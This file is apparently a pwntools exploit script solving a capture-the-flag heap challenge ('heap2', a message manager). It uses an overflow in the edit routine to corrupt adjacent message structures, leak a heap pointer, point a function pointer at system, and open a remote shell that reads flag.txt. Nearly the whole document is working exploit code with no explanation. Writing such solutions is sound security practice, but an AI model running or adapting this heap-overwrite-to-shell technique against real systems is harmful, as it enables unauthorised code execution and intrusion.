1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = "tmux neww -a".split()
exe = context.binary = ELF(args.EXE or "./heap2")
libc = exe.libc
assert libc is not None
def start(argv=[], *a, **kw):
addr, port = args.REMOTE.split(":")
return remote(addr, int(port))
gdbscript = """
continue
""".format(**locals())
io = start()
sla = io.sendlineafter
sa = io.sendafter
sl = io.sendline
ru = io.recvuntil
rl = io.recvline
def add(msg: bytes):
sla(b"oice: ", b"1")
sla(b"Enter message name: ", msg)
ru(b"Message added at index ")
return int(rl(keepends=False).strip().decode())
def dele(idx: int):
sla(b"oice: ", b"2")
sla(b"Index to delete: ", str(idx).encode())
ru(b"Message name freed")
def edit(idx: int, msg: bytes):
sla(b"oice: ", b"3")
sla(b"Index to edit: ", str(idx).encode())
sla(b"Enter new name: ", msg)
# ru(b"=== Message Manager === ")
def show(idx: int):
sla(b"oice: ", b"4")
sla(b"Index to show: ", str(idx).encode())
ru(b"Notification: ")
return rl(keepends=False)
niceidx = add(b"nice")
viceidx = add(b"vice")
diceidx = add(b"dice")
# overwrite vice's msg->buffer to overflow into dice's message_t
# 0x405310 0000000065636976 0000000000000000
# 0x405320 0000000000000000 0000000000000000
# 0x405330 0000000000000000 0000000000000021
# 0x405340 0000000000405360 0000000000000020
frame = {
0x00: b"vice\x00",
0x08: 0,
0x10: 0,
0x18: 0,
0x20: 0,
0x28: 0x21,
0x30: exe.sym["message_count"],
0x38: p8(0x20),
# 0x39: b"\n", # not needed, we use sla in edit.
}
frame = flat(frame)
edit(viceidx, frame)
def reset_count():
frame = {
0: p32(0),
# -1: b"\n", # not needed, we use sla
}
frame = flat(frame)
edit(diceidx, frame)
frame = {
0x00: b"nice\x00",
0x08: 0,
0x10: 0,
0x18: 0,
0x20: 0,
0x28: 0x21,
0x30: exe.sym["messages"],
0x38: p8(0x20),
# 0x39: b"\n", # not needed, we use sla in edit.
}
frame = flat(frame)
edit(niceidx, frame)
nice_message = u64((show(viceidx)).ljust(8, b"\x00"))
ptr_at = nice_message + 0x10
frame = {
0x00: b"nice\x00",
0x08: 0,
0x10: 0,
0x18: 0,
0x20: 0,
0x28: 0x21,
0x30: ptr_at,
0x38: p8(0x20),
# 0x39: b"\n", # not needed, we use sla in edit.
}
frame = flat(frame)
edit(niceidx, frame)
# __import__("ipdb").set_trace()
edit(viceidx, p64(exe.plt["system"]))
edit(niceidx, b"/bin/sh\x00")
# show(niceidx)
sla(b"oice: ", b"4")
sla(b"Index to show: ", str(niceidx).encode())
sl(b"cat flag.txt")
io.interactive()
|